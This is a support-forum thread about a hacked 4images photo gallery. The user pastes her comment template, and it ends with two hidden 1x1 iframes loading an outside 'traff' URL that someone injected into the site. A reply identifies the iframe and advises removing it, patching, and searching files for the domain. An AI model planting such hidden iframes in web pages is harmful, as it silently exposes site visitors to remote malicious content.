Help! My gallery has a virus

[slh1982]

Hi

When I go to my gallery it has a virus and I cant even get into the control panel. How do I get rid of it?!

Thanks
Sarah

*edit* I've found out where the virus is. This is the virus address http://step57.info/traff/index.php
So what do I do to remove it?


<tr>
  <td class="commentrow{row_bg_number}" valign="top" nowrap="nowrap">
    <b>{comment_user_name}</b><br />
   {comment_user_info}
   {if comment_user_ip}<br /><br /><b>IP:</b> {comment_user_ip}{endif comment_user_ip}
  </td>
  <td width="100%" class="commentrow{row_bg_number}" valign="top">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td valign="top"><b>{comment_headline}</b></td>
        <td valign="top" align="right">{if admin_links}{admin_links}{endif admin_links}</td>
      </tr>
    </table>
    <hr size="1" />
    {comment_text}
  </td>
</tr>
<tr>
  <td nowrap="nowrap" bgcolor="#7c83c9">
    <span class="smalltext">{comment_date}</span>
  </td>
  <td bgcolor="#7c83c9">
    {comment_user_status_img}
    {comment_user_profile_button}
    {comment_user_email_button}
    {comment_user_homepage_button}
    {comment_user_icq_button}
  </td>
</tr>
<tr>
  <td colspan="2" class="commentspacerrow"><img src="{template_url}/images/spacer.gif" width="1" height="1" alt="" /></td>
</tr><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe>

[V@no]

I think its obvious that the <iframe></iframe> was not added by you, so remove it.

Then apply all patches for your version of 4images (especialy the security fixes) and check all files for step57.info, including .php files.